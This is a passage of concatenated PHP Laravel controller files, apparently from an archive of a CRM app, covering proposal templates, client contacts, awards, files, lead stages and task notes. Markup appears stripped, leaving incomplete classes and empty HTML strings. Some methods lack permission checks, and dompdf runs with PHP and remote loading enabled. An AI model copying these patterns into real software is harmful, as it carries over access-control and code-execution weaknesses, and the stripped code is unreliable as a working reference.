(intval($qty) < 1)) { return Reply::error(__('messages.quantityNumber')); } } foreach ($cost_per_item as $rate) { if (!is_numeric($rate)) { return Reply::error(__('messages.unitPriceNumber')); } } foreach ($amount as $amt) { if (!is_numeric($amt)) { return Reply::error(__('messages.amountNumber')); } } foreach ($items as $itm) { if (is_null($itm)) { return Reply::error(__('messages.itemBlank')); } } $proposal = new ProposalTemplate(); $proposal->name = $request->name; $proposal->sub_total = $request->sub_total; $proposal->total = $request->total; $proposal->currency_id = $request->currency_id; $proposal->discount = round($request->discount_value, 2); $proposal->discount_type = $request->discount_type; $proposal->signature_approval = ($request->require_signature) ? 1 : 0; $proposal->description = trim_editor($request->description); $proposal->added_by = user()->id; $proposal->save(); $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('proposal-template.index'); } $this->logSearchEntry($proposal->id, 'Proposal #' . $proposal->id, 'proposals.show', 'proposal'); return Reply::redirect($redirectUrl, __('messages.recordSaved')); } public function show($id) { $this->manageProposalTemplatePermission = user()->permission('manage_project_template'); abort_403(!in_array($this->manageProposalTemplatePermission, ['all', 'added'])); $this->invoice = ProposalTemplate::with('items', 'lead', 'items.proposalTemplateItemImage', 'units')->findOrFail($id); $this->pageTitle = __('modules.lead.proposalTemplate') . '#' . $this->invoice->id; if ($this->invoice->discount > 0) { if ($this->invoice->discount_type == 'percent') { $this->discount = (($this->invoice->discount / 100) * $this->invoice->sub_total); } else { $this->discount = $this->invoice->discount; } } else { $this->discount = 0; } $taxList = array(); $items = ProposalTemplateItem::whereNotNull('taxes') ->where('proposal_template_id', $this->invoice->id) ->get(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = ProposalTemplateItem::taxbyid($tax)->first(); if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { /** @phpstan-ignore-next-line */ if ($this->invoice->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / $this->invoice->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else{ $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { /** @phpstan-ignore-next-line */ if ($this->invoice->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + (($item->amount - ($item->amount / $this->invoice->sub_total) * $this->discount) * ($this->tax->rate_percent / 100)); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } $this->taxes = $taxList; $this->settings = global_setting(); $this->invoiceSetting = invoice_setting(); return view('proposal-template.show', $this->data); } public function edit($id) { $this->manageProposalTemplatePermission = user()->permission('manage_proposal_template'); abort_403(!in_array($this->manageProposalTemplatePermission, ['all', 'added'])); $this->pageTitle = __('modules.proposal.updateProposalTemplate'); $this->taxes = Tax::all(); $this->currencies = Currency::all(); $this->proposal = ProposalTemplate::with('items', 'lead')->findOrFail($id); $this->products = Product::all(); $this->categories = ProductCategory::all(); $this->units = UnitType::all(); $this->invoiceSetting = invoice_setting(); $this->view = 'proposal-template.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('proposal-template.create', $this->data); } public function update(StoreRequest $request, $id) { $items = $request->item_name; $cost_per_item = $request->cost_per_item; $quantity = $request->quantity; $amount = $request->amount; if (trim($items[0]) == '' || trim($cost_per_item[0]) == '') { return Reply::error(__('messages.addItem')); } foreach ($quantity as $qty) { if (!is_numeric($qty)) { return Reply::error(__('messages.quantityNumber')); } } foreach ($cost_per_item as $rate) { if (!is_numeric($rate)) { return Reply::error(__('messages.unitPriceNumber')); } } foreach ($amount as $amt) { if (!is_numeric($amt)) { return Reply::error(__('messages.amountNumber')); } } foreach ($items as $itm) { if (is_null($itm)) { return Reply::error(__('messages.itemBlank')); } } $proposalTemplate = ProposalTemplate::findOrFail($id); $proposalTemplate->name = $request->name; $proposalTemplate->sub_total = $request->sub_total; $proposalTemplate->total = $request->total; $proposalTemplate->currency_id = $request->currency_id; $proposalTemplate->discount = round($request->discount_value, 2); $proposalTemplate->discount_type = $request->discount_type; $proposalTemplate->signature_approval = ($request->require_signature) ? 1 : 0; $proposalTemplate->description = trim_editor($request->description); $proposalTemplate->save(); return Reply::redirect(route('proposal-template.show', $proposalTemplate->id), __('messages.updateSuccess')); } public function destroy($id) { ProposalTemplate::findOrFail($id)->delete(); return Reply::success(__('messages.deleteSuccess')); } public function deleteProposalItemImage(Request $request) { $item = ProposalTemplateItemImage::where('proposal_template_item_id', $request->invoice_item_id)->first(); if ($item) { Files::deleteFile($item->hashname, 'proposal-files/' . $item->id . '/'); $item->delete(); } return Reply::success(__('messages.deleteSuccess')); } public function download($id) { $this->proposalTemplate = ProposalTemplate::findOrFail($id); $this->manageProjectTemplatePermission = user()->permission('manage_proposal_template'); abort_403(!in_array($this->manageProjectTemplatePermission, ['all', 'added'])); $pdfOption = $this->domPdfObjectForDownload($id); $pdf = $pdfOption['pdf']; $filename = $pdfOption['fileName']; return $pdf->download($filename . '.pdf'); } public function domPdfObjectForDownload($id) { $this->invoiceSetting = invoice_setting(); $this->proposalTemplate = ProposalTemplate::with('items', 'lead', 'currency')->findOrFail($id); App::setLocale($this->invoiceSetting->locale ?? 'en'); Carbon::setLocale($this->invoiceSetting->locale ?? 'en'); if ($this->proposalTemplate->discount > 0) { if ($this->proposalTemplate->discount_type == 'percent') { $this->discount = (($this->proposalTemplate->discount / 100) * $this->proposalTemplate->sub_total); } else { $this->discount = $this->proposalTemplate->discount; } } else { $this->discount = 0; } $taxList = array(); $items = ProposalTemplateItem::whereNotNull('taxes') ->where('proposal_template_id', $this->proposalTemplate->id) ->get(); $this->invoiceSetting = invoice_setting(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = ProposalTemplateItem::taxbyid($tax)->first(); if ($this->tax) { if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { /** @phpstan-ignore-next-line */ if ($this->proposalTemplate->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / $this->proposalTemplate->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else{ $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } $this->taxes = $taxList; $this->settings = company(); $pdf = app('dompdf.wrapper'); $pdf->setOption('enable_php', true); $pdf->setOption('isHtml5ParserEnabled', true); $pdf->setOption('isRemoteEnabled', true); $pdf->loadView('proposal-template.pdf.invoice-5', $this->data); $filename = __('modules.lead.proposal') . '-' . $this->proposalTemplate->id; return [ 'pdf' => $pdf, 'fileName' => $filename ]; } public function addItem(Request $request) { $this->items = Product::findOrFail($request->id); $this->invoiceSetting = invoice_setting(); $exchangeRate = Currency::findOrFail($request->currencyId); if($exchangeRate->exchange_rate == $request->exchangeRate){ $exRate = $exchangeRate->exchange_rate; }else{ $exRate = floatval($request->exchangeRate); } if (!is_null($exchangeRate) && !is_null($exchangeRate->exchange_rate)) { if ($this->items->total_amount != '') { /** @phpstan-ignore-next-line */ $this->items->price = floor($this->items->total_amount / $exRate); } else { $this->items->price = floatval($this->items->price) / floatval($exRate); } } else { if ($this->items->total_amount != '') { $this->items->price = $this->items->total_amount; } } $this->items->price = number_format((float)$this->items->price, 2, '.', ''); $this->taxes = Tax::all(); $this->units = UnitType::all(); $view = view('invoices.ajax.add_item', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'view' => $view]); } } Http/Controllers/ClientContactController.php000064400000015253150325104510015302 0ustar00pageTitle = 'app.menu.clients'; $this->middleware(function ($request, $next) { abort_403(!in_array('clients', $this->user->modules)); return $next($request); }); } public function create() { $this->pageTitle = __('app.addContact'); $this->addClientPermission = user()->permission('add_client_contacts'); abort_403(!in_array($this->addClientPermission, ['all', 'added'])); $this->clientId = request('client'); $this->countries = countries(); $this->categories = ClientCategory::all(); $this->salutations = Salutation::cases(); $this->languages = LanguageSetting::where('status', 'enabled')->get(); $this->view = 'clients.contacts.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('clients.create', $this->data); } public function store(StoreContact $request) { $contact = ClientContact::create($request->all()); return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => route('clients.show', $contact->user_id) . '?tab=contacts']); } public function show($id) { $this->contact = ClientContact::findOrFail($id); $this->pageTitle = __('app.showContact'); $this->viewPermission = user()->permission('view_client_contacts'); $this->editClientPermission = user()->permission('edit_client_contacts'); $this->deleteClientPermission = user()->permission('delete_client_contacts'); abort_403(!($this->viewPermission == 'all' || ($this->viewPermission == 'added' && $this->contact->client->clientDetails->added_by == user()->id) || ($this->viewPermission == 'both' && $this->contact->client->clientDetails->added_by == user()->id))); $this->client = User::withoutGlobalScope(ActiveScope::class)->findOrFail($this->contact->client_id); $this->view = 'clients.contacts.show'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('clients.create', $this->data); // return redirect(route('clients.show', $this->contact->user_id) . '?tab=contacts'); } public function edit($id) { $this->pageTitle = __('app.editContact'); $this->contact = ClientContact::findOrFail($id); $this->client = User::withoutGlobalScope(ActiveScope::class)->with('clientDetails')->findOrFail($this->contact->client_id); $this->editPermission = user()->permission('edit_client_contacts'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $this->contact->client->clientDetails->added_by == user()->id) || ($this->editPermission == 'both' && $this->contact->client->clientDetails->added_by == user()->id))); $this->countries = countries(); $this->categories = ClientCategory::all(); $this->salutations = Salutation::cases(); $this->languages = LanguageSetting::where('status', 'enabled')->get(); $this->clientId = $this->contact->user_id; $this->view = 'clients.contacts.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('clients.create', $this->data); } public function update(UpdateContact $request, $id) { $contact = ClientContact::findOrFail($id); $contact->update($request->all()); return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => route('clients.show', $contact->user_id) . '?tab=contacts']); } public function destroy($id) { $this->contact = ClientContact::findOrFail($id); $userID = $this->contact->user_id; $this->deletePermission = user()->permission('delete_client_contacts'); if ( $this->deletePermission == 'all' || ($this->deletePermission == 'added' && $this->contact->client->clientDetails->added_by == user()->id) || ($this->deletePermission == 'both' && $this->contact->client->clientDetails->added_by == user()->id) ) { if(!is_null($this->contact->client_id)){ $client = User::withoutGlobalScope(ActiveScope::class)->with('clientDetails')->findOrFail($this->contact->client_id); $universalSearches = UniversalSearch::where('searchable_id', $client->id)->where('module_type', 'client')->get(); if ($universalSearches) { foreach ($universalSearches as $universalSearch) { UniversalSearch::destroy($universalSearch->id); } } Notification::whereNull('read_at') ->where(function ($q) use ($client) { $q->where('data', 'like', '{"id":' . $client->id . ',%'); $q->orWhere('data', 'like', '%,"name":' . $client->name . ',%'); $q->orWhere('data', 'like', '%,"user_one":' . $client->id . ',%'); $q->orWhere('data', 'like', '%,"client_id":' . $client->id . '%'); })->delete(); $client->delete(); Lead::where('client_id', $client->id)->update(['client_id' => null]); } $this->contact->delete(); } $redirectUrl = route('clients.show', $userID) . '?tab=contacts'; return Reply::successWithData(__('messages.deleteSuccess'), ['redirectUrl' => $redirectUrl]); } public function applyQuickAction(Request $request) { switch ($request->action_type) { case 'delete': $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); default: return Reply::error(__('messages.selectAction')); } } protected function deleteRecords($request) { abort_403(user()->permission('delete_clients') !== 'all'); ClientContact::whereIn('id', explode(',', $request->row_ids))->delete(); return true; } } Http/Controllers/AwardController.php000064400000016151150325104510013604 0ustar00pageTitle = 'app.menu.award'; } public function index(AwardDataTable $dataTable) { $viewPermission = user()->permission('view_appreciation'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); return $dataTable->render('awards.index', $this->data); } public function create() { $this->manageAppreciationPermission = user()->permission('manage_award'); abort_403(!($this->manageAppreciationPermission == 'all')); $this->icons = AwardIcon::all(); $this->pageTitle = __('modules.appreciations.addAppreciationType'); $this->view = 'awards.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('awards.create', $this->data); } public function quickCreate() { $this->manageAppreciationPermission = user()->permission('manage_award'); abort_403(!($this->manageAppreciationPermission == 'all')); $this->icons = AwardIcon::all(); $this->pageTitle = __('modules.appreciations.addAppreciationType'); return view('appreciations.ajax.create_appreciation_type', $this->data); } public function quickStore(StoreRequest $request) { $this->manageAppreciationPermission = user()->permission('manage_award'); abort_403(!($this->manageAppreciationPermission == 'all')); $award = new Award(); $award->title = $request->title; $award->award_icon_id = $request->icon; $award->color_code = $request->color_code; $award->summary = $request->summery; $award->save(); $awards = Award::with('awardIcon')->where('status', 'active')->get(); $options = $this->options($awards, $award); return Reply::successWithData(__('messages.recordSaved'), ['data' => $options]); } public static function options($items, $group = null): string { $options = ''; foreach ($items as $item) { $name = $item->title; $selected = (!is_null($group) && ($item->id == $group->id)) ? 'selected' : ''; $icon = " "; $options .= ''; } return $options; } public function store(StoreRequest $request) { $this->manageAppreciationPermission = user()->permission('manage_award'); abort_403(!($this->manageAppreciationPermission == 'all')); $appreciation = new Award(); $appreciation->title = $request->title; $appreciation->award_icon_id = $request->icon; $appreciation->color_code = $request->color_code; $appreciation->summary = $request->summery; $appreciation->save(); return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => route('awards.index')]); } public function show($id) { $this->appreciationType = Award::findOrFail($id); $this->manageAppreciationPermission = user()->permission('view_appreciation'); abort_403(!($this->manageAppreciationPermission != 'none')); $this->pageTitle = $this->appreciationType->title; $this->view = 'awards.ajax.show'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('awards.create', $this->data); } public function edit($id) { $this->manageAppreciationPermission = user()->permission('manage_award'); abort_403(!($this->manageAppreciationPermission == 'all')); $this->appreciationType = Award::findOrFail($id); $this->icons = AwardIcon::all(); $this->pageTitle = __('modules.awards.appreciationType'); $this->view = 'awards.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('awards.create', $this->data); } public function update(UpdateRequest $request, $id) { $this->manageAppreciationPermission = user()->permission('manage_award'); abort_403(!($this->manageAppreciationPermission == 'all')); $appreciation = Award::findOrFail($id); $appreciation->title = $request->title; $appreciation->award_icon_id = $request->icon; $appreciation->summary = $request->summery; $appreciation->color_code = $request->color_code; $appreciation->status = $request->status; $appreciation->save(); return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => route('awards.index')]); } public function destroy($id) { $this->manageAppreciationPermission = user()->permission('manage_award'); abort_403(!($this->manageAppreciationPermission == 'all')); Award::destroy($id); return Reply::successWithData(__('messages.deleteSuccess'), ['redirectUrl' => route('awards.index')]); } public function changeStatus(Request $request) { abort_403(user()->permission('manage_award') != 'all'); $appreciationId = $request->appreciationId; $status = $request->status; $award = Award::findOrFail($appreciationId); $award->status = $status; $award->save(); return Reply::success(__('messages.updateSuccess')); } public function applyQuickAction(Request $request) { switch ($request->action_type) { case 'delete': $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); case 'change-leave-status': $this->changeBulkStatus($request); return Reply::success(__('messages.updateSuccess')); default: return Reply::error(__('messages.selectAction')); } } protected function deleteRecords($request) { abort_403(user()->permission('manage_award') != 'all'); $item = explode(',', $request->row_ids); if (($key = array_search('on', $item)) !== false) { unset($item[$key]); } Award::whereIn('id', $item)->delete(); } protected function changeBulkStatus($request) { abort_403(user()->permission('manage_award') != 'all'); $item = explode(',', $request->row_ids); if (($key = array_search('on', $item)) !== false) { unset($item[$key]); } Award::whereIn('id', $item)->update(['status' => $request->status]); } } Http/Controllers/ProjectTemplateSubTaskController.php000064400000002663150325104510017150 0ustar00pageIcon = 'icon-layers'; $this->pageTitle = 'app.menu.projectTemplateSubTask'; } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create(Request $request) { $this->taskID = $request->task_id; return view('admin.project-template.sub-task.create-edit', $this->data); } /** * @param SubTaskStoreRequest $request * @return array */ public function store(SubTaskStoreRequest $request) { ProjectTemplateSubTask::firstOrCreate([ 'title' => $request->title, 'project_template_task_id' => $request->task_id, ]); return Reply::success(__('messages.recordSaved')); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { ProjectTemplateSubTask::destroy($id); return Reply::success(__('messages.deleteSuccess')); } } Http/Controllers/EventFileController.php000064400000003366150325104510014433 0ustar00pageIcon = 'icon-people'; $this->pageTitle = 'app.menu.product'; } public function store(Request $request) { if ($request->hasFile('file')) { foreach ($request->file as $fileData) { $file = new EventFile(); $file->event_id = $request->eventId; $filename = Files::uploadLocalOrS3($fileData, EventFile::FILE_PATH .'/'. $request->eventId); $file->filename = $fileData->getClientOriginalName(); $file->hashname = $filename; $file->size = $fileData->getSize(); $file->save(); } } return Reply::success(__('messages.fileUploaded')); } public function destroy(Request $request, $id) { $file = EventFile::findOrFail($id); $this->event = Event::findorFail($file->event_id); Files::deleteFile($file->hashname, EventFile::FILE_PATH . '/' . $file->event_id); EventFile::destroy($id); $this->files = EventFile::where('event_id', $file->event_id)->orderByDesc('id')->get(); $view = view('event-calendar.files.show', $this->data)->render(); return Reply::successWithData(__('messages.deleteSuccess'), ['view' => $view]); } public function download($id) { $file = EventFile::whereRaw('md5(id) = ?', $id)->firstOrFail(); return download_local_s3($file, 'events/' . $file->event_id . '/' . $file->hashname); } } Http/Controllers/ContractTypeController.php000064400000003462150325104510015166 0ustar00addPermission = user()->permission('manage_contract_type'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->categories = ContractType::all(); return view('contracts.types.create', $this->data); } public function store(StoreRequest $request) { $this->addPermission = user()->permission('manage_contract_type'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $contract = new ContractType(); $contract->name = $request->name; $contract->save(); $categories = ContractType::all(); $options = BaseModel::options($categories, $contract); return Reply::successWithData(__('messages.recordSaved'), ['data' => $options]); } public function update(UpdateRequest $request, $id) { $category = ContractType::findOrFail($id); $category->name = strip_tags($request->name); $category->save(); $categories = ContractType::all(); $options = BaseModel::options($categories); return Reply::successWithData(__('messages.updateSuccess'), ['data' => $options]); } public function destroy($id) { abort_403(user()->permission('manage_contract_type') !== 'all'); ContractType::destroy($id); $categories = ContractType::all(); $options = BaseModel::options($categories); return Reply::successWithData(__('messages.deleteSuccess'), ['data' => $options]); } } Http/Controllers/LeadFileController.php000064400000006652150325104510014220 0ustar00pageIcon = 'icon-people'; $this->pageTitle = 'app.menu.lead'; } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $addPermission = user()->permission('add_lead_files'); abort_403(!in_array($addPermission, ['all', 'added'])); return view('leads.lead-files.create', $this->data); } /** * @param Request $request * @return array * @throws \GuzzleHttp\Exception\GuzzleException * @throws \Throwable */ public function store(Request $request) { $addPermission = user()->permission('add_lead_files'); abort_403(!in_array($addPermission, ['all', 'added'])); if ($request->hasFile('file')) { foreach ($request->file as $fileData) { $file = new DealFile(); $file->deal_id = $request->lead_id; $filename = Files::uploadLocalOrS3($fileData, DealFile::FILE_PATH . '/' . $request->lead_id); $file->user_id = $this->user->id; $file->filename = $fileData->getClientOriginalName(); $file->hashname = $filename; $file->size = $fileData->getSize(); $file->save(); } } $this->lead = Deal::findOrFail($request->lead_id); return Reply::success(__('messages.fileUploaded')); } /** * @param Request $request * @param int $id * @return array|void */ public function destroy(Request $request, $id) { $deletePermission = user()->permission('delete_lead_files'); $file = DealFile::findOrFail($id); abort_403(!($deletePermission == 'all' || ($deletePermission == 'added' && $file->added_by == user()->id))); DealFile::destroy($id); return Reply::success(__('messages.deleteSuccess')); } /** * @param mixed $id * @return \Symfony\Component\HttpFoundation\BinaryFileResponse|\Symfony\Component\HttpFoundation\StreamedResponse|void */ public function download($id) { $viewPermission = user()->permission('view_lead_files'); $file = DealFile::findOrFail($id); abort_403(!($viewPermission == 'all' || ($viewPermission == 'added' && $file->added_by == user()->id))); return download_local_s3($file, DealFile::FILE_PATH . '/' . $file->deal_id . '/' . $file->hashname); } /** * @param Request $request * @return mixed */ public function layout(Request $request) { $viewPermission = user()->permission('view_lead_files'); abort_403(!in_array($viewPermission, ['all', 'added'])); $this->deal = Deal::with('files')->findOrFail($request->id); $layout = $request->layout == 'listview' ? 'leads.lead-files.ajax-list' : 'leads.lead-files.thumbnail-list'; $view = view($layout, $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $view]); } } Http/Controllers/LeadStageSettingController.php000064400000012547150325104510015742 0ustar00middleware(function ($request, $next) { abort_403(!in_array('leads', $this->user->modules)); return $next($request); }); } /** * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View */ public function create() { $this->pipelines = LeadPipeline::all(); return view('lead-settings.create-stage-modal', $this->data); } /** * @param StoreLeadStatus $request * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreLeadStage $request) { $stages = PipelineStage::all(); $pipelines = $request->pipeline; foreach($pipelines as $pipeline) { $maxPriority = $stages->filter(function ($value, $key) use($pipeline) { return $value->lead_pipeline_id == $pipeline; })->max('priority'); $stage = new PipelineStage(); $stage->name = $request->name; $stage->lead_pipeline_id = $pipeline; $stage->label_color = $request->label_color; $stage->priority = ($maxPriority + 1); $stage->save(); } return Reply::success(__('messages.recordSaved')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->pipelines = LeadPipeline::all(); $this->stage = PipelineStage::findOrFail($id); $this->stages = PipelineStage::where('lead_pipeline_id', $this->stage->lead_pipeline_id) ->orderBy('priority', 'asc') ->get(); $this->lastStageColumn = $this->stages->filter(function ($value, $key) { return $value->priority == ($this->stage->priority - 1); })->first(); $this->afterStageColumn = $this->stages->filter(function ($value, $key) { return $value->priority == ($this->stage->priority + 1); })->first(); $this->maxPriority = PipelineStage::max('priority'); return view('lead-settings.edit-stage-modal', $this->data); } /** * @param UpdateLeadStatus $request * @param int $id * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function update(UpdateLeadStage $request, $id) { $stage = PipelineStage::findOrFail($id); $oldPosition = $stage->priority; $newPosition = $request->priority; if($request->has('before')) { PipelineStage::where('priority', '<', $oldPosition) ->where('priority', '>=', $newPosition) ->orderBy('priority', 'asc') ->increment('priority'); $stage->priority = $request->priority; } elseif($oldPosition > $newPosition) { PipelineStage::where('priority', '<', $oldPosition) ->where('priority', '>', $newPosition) ->orderBy('priority', 'asc') ->increment('priority'); $stage->priority = $request->priority + 1; } else { PipelineStage::where('priority', '>', $oldPosition) ->where('priority', '<=', $newPosition) ->orderBy('priority', 'asc') ->decrement('priority'); $stage->priority = $request->priority; } $stage->name = $request->name; $stage->label_color = $request->label_color; $stage->save(); return Reply::success(__('messages.updateSuccess')); } public function statusUpdate($id) { $stage = PipelineStage::find($id); $allPipelineStage = PipelineStage::select('id', 'default')->where('lead_pipeline_id', $stage->lead_pipeline_id)->get(); foreach($allPipelineStage as $leadStage){ if($leadStage->id == $id ){ $leadStage->default = '1'; } else{ $leadStage->default = '0'; } $leadStage->save(); } return Reply::success(__('messages.updateSuccess')); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $board = PipelineStage::findOrFail($id); $otherColumns = PipelineStage::where('priority', '>', $board->priority) ->orderBy('priority', 'asc') ->get(); foreach ($otherColumns as $column) { $pos = PipelineStage::where('priority', $column->priority)->first(); $pos->priority = ($pos->priority - 1); $pos->save(); } UserLeadboardSetting::where('pipeline_stage_id', $id)->delete(); PipelineStage::destroy($id); return Reply::success(__('messages.deleteSuccess')); } } Http/Controllers/ClientDocController.php000064400000012535150325104510014414 0ustar00pageTitle = 'app.menu.clientDocs'; $this->middleware(function ($request, $next) { return $next($request); }); } public function create() { $this->addPermission = user()->permission('add_client_document'); abort_403(!($this->addPermission == 'all')); $this->user = User::findOrFail(user()->id); return view('profile-settings.ajax.client.create', $this->data); } public function store(CreateRequest $request) { $fileFormats = ['image/jpeg', 'image/png', 'image/gif', 'application/msword', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'application/vnd.ms-excel', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'application/pdf', 'text/plain']; foreach ($request->file as $index => $fFormat) { if (!in_array($fFormat->getClientMimeType(), $fileFormats)) { return Reply::error(__('messages.employeeDocsAllowedFormat')); } } $file = new ClientDocument(); $file->user_id = $request->user_id; $filename = Files::uploadLocalOrS3($request->file, ClientDocument::FILE_PATH . '/' . $request->user_id); $file->name = $request->name; $file->filename = $request->file->getClientOriginalName(); $file->hashname = $filename; $file->size = $request->file->getSize(); $file->save(); $this->files = ClientDocument::where('user_id', $request->user_id)->orderByDesc('id')->get(); $view = view('clients.files.show', $this->data)->render(); return Reply::successWithData(__('messages.recordSaved'), ['status' => 'success', 'view' => $view]); } public function edit($id) { $this->file = ClientDocument::findOrFail($id); $editPermission = user()->permission('edit_client_document'); abort_403(!($editPermission == 'all' || ($editPermission == 'added' && $this->file->added_by == user()->id) || ($editPermission == 'owned' && ($this->file->user_id == user()->id && $this->file->added_by != user()->id)) || ($editPermission == 'both' && ($this->file->added_by == user()->id || $this->file->user_id == user()->id)))); return view('clients.files.edit', $this->data); } public function update(UpdateRequest $request, $id) { $file = ClientDocument::findOrFail($id); $file->name = $request->name; if ($request->file) { $filename = Files::uploadLocalOrS3($request->file, ClientDocument::FILE_PATH . '/' . $file->user_id); $file->filename = $request->file->getClientOriginalName(); $file->hashname = $filename; $file->size = $request->file->getSize(); } $file->save(); return Reply::success(__('messages.updateSuccess')); } public function destroy($id) { $file = ClientDocument::findOrFail($id); $deleteDocumentPermission = user()->permission('delete_client_document'); abort_403(!($deleteDocumentPermission == 'all' || ($deleteDocumentPermission == 'added' && $file->added_by == user()->id) || ($deleteDocumentPermission == 'owned' && ($file->user_id == user()->id && $file->added_by != user()->id)) || ($deleteDocumentPermission == 'both' && ($file->added_by == user()->id || $file->user_id == user()->id)))); Files::deleteFile($file->hashname, ClientDocument::FILE_PATH . '/' . $file->user_id); ClientDocument::destroy($id); $this->files = ClientDocument::where('user_id', $file->user_id)->orderByDesc('id')->get(); $view = view('clients.files.show', $this->data)->render(); return Reply::successWithData(__('messages.deleteSuccess'), ['view' => $view]); } public function show($id) { $file = ClientDocument::whereRaw('md5(id) = ?', $id)->firstOrFail(); $viewPermission = user()->permission('view_client_document'); abort_403(!($viewPermission == 'all' || ($viewPermission == 'added' && $file->added_by == user()->id) || ($viewPermission == 'owned' && ($file->user_id == user()->id && $file->added_by != user()->id)) || ($viewPermission == 'both' && ($file->added_by == user()->id || $file->user_id == user()->id)))); $this->filepath = $file->doc_url; return view('clients.files.view', $this->data); } public function download($id) { $file = ClientDocument::whereRaw('md5(id) = ?', $id)->firstOrFail(); $viewPermission = user()->permission('view_client_document'); abort_403(!($viewPermission == 'all' || ($viewPermission == 'added' && $file->added_by == user()->id) || ($viewPermission == 'owned' && ($file->user_id == user()->id && $file->added_by != user()->id)) || ($viewPermission == 'both' && ($file->added_by == user()->id || $file->added_by == user()->id)))); return download_local_s3($file, ClientDocument::FILE_PATH . '/' . $file->user_id . '/' . $file->hashname); } } Http/Controllers/TaskNoteController.php000064400000011551150325104510014275 0ustar00pageTitle = 'app.menu.tasks'; $this->middleware(function ($request, $next) { abort_403(!in_array('tasks', $this->user->modules)); return $next($request); }); } /** * * @param StoreTaskNote $request * @return void */ public function store(StoreTaskNote $request) { $this->addPermission = user()->permission('add_task_notes'); $task = Task::findOrFail($request->taskId); $taskUsers = $task->users->pluck('id')->toArray(); $this->userId = UserService::getUserId(); $this->clientIds = ClientContact::where('user_id', $this->userId)->pluck('client_id')->toArray(); abort_403(!( $this->addPermission == 'all' || ($this->addPermission == 'added' && ($task->added_by == user()->id || $task->added_by == $this->userId || in_array($task->added_by, $this->clientIds))) || ($this->addPermission == 'owned' && in_array(user()->id, $taskUsers)) || ($this->addPermission == 'added' && (in_array(user()->id, $taskUsers) || $task->added_by == user()->id || $task->added_by == $this->userId || in_array($task->added_by, $this->clientIds))) )); $note = new TaskNote(); $note->note = trim_editor($request->note); $note->task_id = $request->taskId; $note->user_id = $this->userId; $note->save(); $this->notes = TaskNote::where('task_id', $request->taskId)->orderByDesc('id')->get(); $view = view('tasks.notes.show', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'view' => $view]); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $note = TaskNote::findOrFail($id); $this->deleteTaskNotePermission = user()->permission('delete_task_notes'); $this->userId = UserService::getUserId(); $this->clientIds = ClientContact::where('user_id', $this->userId)->pluck('client_id')->toArray(); abort_403(!($this->deleteTaskNotePermission == 'all' || ($this->deleteTaskNotePermission == 'added' && ($note->added_by == user()->id || $note->added_by == $this->userId || in_array($note->added_by, $this->clientIds))))); $note_task_id = $note->task_id; $note->delete(); $this->notes = TaskNote::with('task')->where('task_id', $note_task_id)->orderByDesc('id')->get(); $view = view('tasks.notes.show', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'view' => $view]); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function edit($id) { 